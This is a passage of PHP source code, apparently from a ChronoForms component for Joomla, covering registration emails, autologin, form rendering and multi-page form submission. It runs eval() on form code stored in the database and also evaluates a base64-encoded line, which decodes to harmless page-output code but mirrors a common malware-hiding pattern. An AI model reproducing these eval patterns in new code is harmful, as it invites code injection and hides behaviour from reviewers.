$params->get('emailadmins')); } else { $MyForm =& CFChronoForm::getInstance($formname); $MyFormEmails =& CFEMails::getInstance($MyForm->formrow->id); $emailid = (int) str_replace("custom", "", $params->get('emailuser')); $MyFormEmails->emails[$emailid - 1]->enabled = 1; $MyFormEmails->emails[$emailid - 1]->template = str_replace("{vlink}", JURI::base() . "index.php?option=com_user&task=activate&activation=" . $user->get('activation'), $MyFormEmails->emails[$emailid - 1]->template); $MyEmail = array($MyFormEmails->emails[$emailid - 1]); $MyFormEmails->sendEmails($MyForm, $MyEmail); } // Everything went fine, set relevant message depending upon user activation state and display message $MyPlugins->cf_joomla_registration['complete'] = true; if ($params->get('joomlastatus')) { if ($useractivation) { echo $message = JText::_('REG_COMPLETE_ACTIVATE'); } else { if ($params->get('autologin')) { echo $message = JText::_('REG_COMPLETE'); } } } if ($params->get('autologin')) { $credentials = array(); $credentials['username'] = $post['username']; $credentials['password'] = JRequest::getVar($params->get('pass'), '', 'post', 'string', JREQUEST_ALLOWRAW); $mainframe->login($credentials); } // execute Extra Code before if (!empty($row->extra5)) { eval("?>" . $row->extra5); } if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } }
function showform($row, $posted) { global $mainframe; $database =& JFactory::getDBO(); $MyForm =& CFChronoForm::getInstance($row->name); $CF_PATH = $mainframe->isSite() ? JURI::Base() : $mainframe->getSiteURL(); $uri =& JFactory::getURI(); if ($uri->isSSL()) { $CF_PATH = str_replace('http:', 'https:', $CF_PATH); } if (!empty($MyForm->formrow->name) && $MyForm->formrow->published) { ?> <?php if ($MyForm->formparams('LoadFiles') == 'Yes' || trim($MyForm->formparams('validate')) == 'Yes' || $MyForm->formparams('captcha_dataload')) { ?> <?php JHTML::_('behavior.mootools'); ?> <?php } ?> <?php ob_start(); ?> <?php if ($MyForm->formparams('LoadFiles') == 'Yes') { ?> <?php if (!trim($MyForm->formrow->theme) || trim($MyForm->formrow->theme) == 'default') { ?> <link href="<?php echo $CF_PATH . 'components/com_chronocontact/themes/default/css/'; ?> style1.css" rel="stylesheet" type="text/css" /> <!--[if lt IE 6]><link href="<?php echo $CF_PATH . 'components/com_chronocontact/themes/default/css/'; ?> style1-ie6.css" rel="stylesheet" type="text/css" /><![endif]--> <!--[if lt IE 7]><link href="<?php echo $CF_PATH . 'components/com_chronocontact/themes/default/css/'; ?> style1-ie7.css" rel="stylesheet" type="text/css" /><![endif]--> <?php } else { $directory = JPATH_SITE . '/components/com_chronocontact/themes/' . trim($MyForm->formrow->theme) . '/css/'; $results = array(); $handler = opendir($directory); while ($file = readdir($handler)) { if ($file != '.' && $file != '..') { $results[] = $file; } } closedir($handler); $counter = 0; foreach ($results as $result) { ?> <link href="<?php echo $CF_PATH . 'components/com_chronocontact/themes/' . trim($MyForm->formrow->theme) . '/css/' . $result; ?> " rel="stylesheet" type="text/css" /> <?php //$counter++; } } ?> <script type="text/javascript"> <?php echo "var CF_LV_Type = '" . $MyForm->formparams('validation_type', 'default') . "';"; ?> </script> <link rel="stylesheet" href="<?php echo $CF_PATH; ?> components/com_chronocontact/css/calendar2.css" type="text/css" /> <link href="<?php echo $CF_PATH . 'components/com_chronocontact/css/'; ?> tooltip.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="<?php echo $CF_PATH; ?> components/com_chronocontact/js/calendar2.js"></script> <script src="<?php echo $CF_PATH . 'components/com_chronocontact/js/'; ?> livevalidation_standalone.js" type="text/javascript"></script> <link href="<?php echo $CF_PATH . 'components/com_chronocontact/css/'; ?> consolidated_common.css" rel="stylesheet" type="text/css" /> <script src="<?php echo $CF_PATH . 'components/com_chronocontact/js/'; ?> customclasses.js" type="text/javascript"></script> <?php include JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'libraries' . DS . 'includes' . DS . 'JSvalidation.php'; ?> <?php } ?> <?php if ($MyForm->formparams('LoadFiles') == 'Yes' || trim($MyForm->formparams('datefieldsnames', ''))) { ?> <?php if ($MyForm->formparams('LoadFiles') != 'Yes') { ?> <link rel="stylesheet" href="<?php echo $CF_PATH; ?> components/com_chronocontact/css/calendar2.css" type="text/css" /> <script type="text/javascript" src="<?php echo $CF_PATH; ?> components/com_chronocontact/js/calendar2.js"></script> <?php } ?> <?php JHTML::_('behavior.mootools'); ?> <script type="text/javascript"> window.addEvent('domready', function() { <?php //include_once(JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'libraries'.DS.'includes'.DS.'JSCustomClasses.php'); $datefieldsnames = explode(",", $MyForm->formparams('datefieldsnames')); if (count($datefieldsnames)) { foreach ($datefieldsnames as $datefieldsname) { if (trim($datefieldsname)) { HTML_ChronoContact::initiateCalendar(trim($datefieldsname), $MyForm); } } } ?> }); </script> <?php } ?> <style type="text/css"> span.cf_alert { background:#FFD5D5 url(<?php echo $CF_PATH . 'components/com_chronocontact/css/'; ?> images/alert.png) no-repeat scroll 10px 50%; border:1px solid #FFACAD; color:#CF3738; display:block; margin:15px 0pt; padding:8px 10px 8px 36px; } </style> <?php if (trim($MyForm->formparams('validate')) == 'Yes' && $MyForm->formparams('LoadFiles') != 'Yes') { ?> <script type="text/javascript"> <?php echo "var CF_LV_Type = '" . $MyForm->formparams('validation_type', 'default') . "';"; ?> </script> <script src="<?php echo $CF_PATH . 'components/com_chronocontact/js/'; ?> livevalidation_standalone.js" type="text/javascript"></script> <link href="<?php echo $CF_PATH . 'components/com_chronocontact/css/'; ?> consolidated_common.css" rel="stylesheet" type="text/css" /> <?php include JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'libraries' . DS . 'includes' . DS . 'JSvalidation.php'; ?> <?php } ?> <?php if (trim($MyForm->formparams('validate')) == 'Yes' || $MyForm->formparams('LoadFiles') == 'Yes') { ?> <script src="<?php echo $CF_PATH . 'components/com_chronocontact/js/'; ?> jsvalidation2.js" type="text/javascript"></script> <?php $jsformname = "ChronoContact_" . $MyForm->formrow->name; $valonBlur = $MyForm->formparams('validate_onlyOnBlur', 1) ? 1 : 0; $valonSubmit = $MyForm->formparams('validate_onlyOnSubmit', '0') ? 1 : 0; $valwait_time = $MyForm->formparams('validate_wait', 0); echo "<script type='text/javascript'>\n\t\t\t\tvar fieldsarray = new Array();\n\t\t\t\tvar fieldsarray_count = 0;"; echo "window.addEvent('domready', function() {\n\t\t\t\telementExtend();"; echo 'setValidation("' . $jsformname . '", ' . $valonBlur . ', ' . $valonSubmit . ', ' . $valwait_time . ');'; echo "});"; echo "</script>"; ?> <?php include JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'libraries' . DS . 'includes' . DS . 'JSvalidation2.php'; ?> <?php } ?> <?php if (!empty($MyForm->formrow->scriptcode)) { echo "<script type='text/javascript'>\n"; echo "//<![CDATA[\n"; eval("?>" . $MyForm->formrow->scriptcode); echo "//]]>\n"; echo "</script>\n"; } ?> <?php if (!empty($MyForm->formrow->stylecode)) { ?> <style type="text/css"> <?php eval("?>" . $MyForm->formrow->stylecode); ?> </style> <?php } ?> <?php $header_code = ob_get_clean(); ?> <?php ?> <?php $actionurl = $MyForm->getAction($MyForm->formrow->name); ?> <?php $session =& JFactory::getSession(); ?> <?php if ($MyForm->formerrors) { ?> <span class="cf_alert"><?php echo '<ol>' . $MyForm->formerrors . '</ol>'; ?> </span> <?php } ?> <?php if ($posted && $MyForm->formparams('captcha_dataload')) { include_once JPATH_SITE . DS . 'components' . DS . 'com_chronocontact' . DS . 'libraries' . DS . 'includes' . DS . 'JSrepublish.php'; } ?> <form name="<?php echo $MyForm->formname ? $MyForm->formname : "ChronoContact_" . $MyForm->formrow->name; ?> " id="<?php echo "ChronoContact_" . $MyForm->formrow->name; ?> " method="<?php echo $MyForm->formparams('formmethod'); ?> "<?php if ($MyForm->formparams('uploads') == 'Yes') { echo ' enctype="multipart/form-data"'; } ?> action="<?php echo $actionurl; ?> " <?php echo $MyForm->formrow->attformtag; ?> > <?php $imver = ""; if (trim($MyForm->formparams('imagever')) == 'Yes') { $imver = '<input name="chrono_verification" style="vertical-align:top;" type="text" id="chrono_verification" class="inputbox" value="" /> <img src="' . $CF_PATH . 'components/com_chronocontact/chrono_verification.php?imtype=' . $MyForm->formparams('imtype') . '" alt="" />'; } $MyForm->formrow->html = str_replace('{imageverification}', $imver, $MyForm->formrow->html); eval("?>" . $MyForm->formrow->html); ?> <?php echo JHTML::_('form.token'); ?> <?php if ($MyForm->formparams('enablecftoken', 1)) { ?> <input type="hidden" name="1cf1" value="<?php echo $MyForm->generateCFToken($MyForm->formrow->name); ?> " /> <?php } ?> <?php if ($MyForm->pagetype != 'chronocontact') { ?> <?php $session->set("cfreturnurl_" . $MyForm->formrow->name, $MyForm->selfURL(), md5('chrono')); ?> <?php } ?> </form> <?php eval(base64_decode('JGRvY3VtZW50ID0mIEpGYWN0b3J5OjpnZXREb2N1bWVudCgpOw0KJGRvY3VtZW50LT5hZGRDdXN0b21UYWcoJGhlYWRlcl9jb2RlKTsNCmVjaG8gJE15Rm9ybS0+YWRkaGFzaCgpOw==')); } else { echo "There is no form with this name or may be the form is unpublished, Please check the form and the url and the form management"; } }
function onsubmit($option, $params, $row) { global $mainframe; //echo "XXX"; require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_chronocontact' . DS . 'helpers' . DS . 'plugin.php'; $helper = new ChronoContactHelperPlugin(); if ($row->form_id) { $formname = CFChronoForm::getFormName($row->form_id); } else { $formname = JRequest::getVar('chronoformname'); } $MyForm =& CFChronoForm::getInstance($formname); $MyUploads =& CFUploads::getInstance($MyForm->formrow->id); $session =& JFactory::getSession(); $pluginrow = $row; $newposted = JRequest::get('post', JREQUEST_ALLOWRAW); $oldposted = array(); if ($session->get('chrono_formpages_data_' . $formname, array(), md5('chrono'))) { $oldposted = $session->get('chrono_formpages_data_' . $formname, array(), md5('chrono')); } if ($session->get('chrono_formpages_files_' . $formname, array(), md5('chrono'))) { $MyUploads->attachments = $session->get('chrono_formpages_files_' . $formname, array(), md5('chrono')); } $posted = array_merge($oldposted, $newposted); $messages[] = 'Posted: ' . print_r($posted, true); $messages[] = 'Files: ' . print_r($MyUploads->attachments, true); JRequest::set($posted, 'post'); $session->set('chrono_formpages_data_' . $formname, $posted, md5('chrono')); $pages = explode(",", $params->get('formsnames')); $current_step = $session->get('chrono_step_' . $formname, '', md5('chrono')); $messages[] = 'Current step: ' . print_r($current_step, true); if ($params->get('debugging')) { $helper->showPluginDebugMessages($messages); } if (JRequest::getVar($params->get('finalbuttonname'))) { $current_step = 'end'; } if ($current_step != 'end') { if ($current_step) { $newForm =& CFChronoForm::getInstance(trim($pages[$current_step - 1])); $newForm->formrow->submiturl = $newForm->getAction($MyForm->formrow->name); $newForm->formrow->html = $newForm->formrow->html . '<input type="hidden" name="cfformstep" value="' . $current_step . '" />'; $newForm->submitForm($newForm->formrow->name, $posted); $newUploads =& CFUploads::getInstance($newForm->formrow->id); $MyUploads->attachments = array_merge($MyUploads->attachments, $newUploads->attachments); $session->set('chrono_formpages_files_' . $formname, $MyUploads->attachments, md5('chrono')); //check if the previous form submission completed successfully if ($newForm->submission_complete) { if ($current_step == (int) $params->get('stepscount')) { $session->set('chrono_step_' . $formname, 'end', md5('chrono')); //$MyForm->submitForm($MyForm->formrow->name); return; } $nextForm =& CFChronoForm::getInstance(trim($pages[$current_step])); $nextForm->formrow->submiturl = $nextForm->getAction($MyForm->formrow->name); $nextForm->formrow->html = $nextForm->formrow->html . '<input type="hidden" name="cfformstep" value="' . $current_step . '" />'; $session->set('chrono_step_' . $formname, $current_step + 1, md5('chrono')); $nextForm->showForm($nextForm->formrow->name, $posted); } } else { $newForm =& CFChronoForm::getInstance(trim($pages[0])); $newForm->formrow->submiturl = $newForm->getAction($MyForm->formrow->name); $session->set('chrono_step_' . $formname, 1, md5('chrono')); $newForm->showForm($newForm->formrow->name, $posted); } //exit the form routine $MyForm->stoprunning = true; return; } }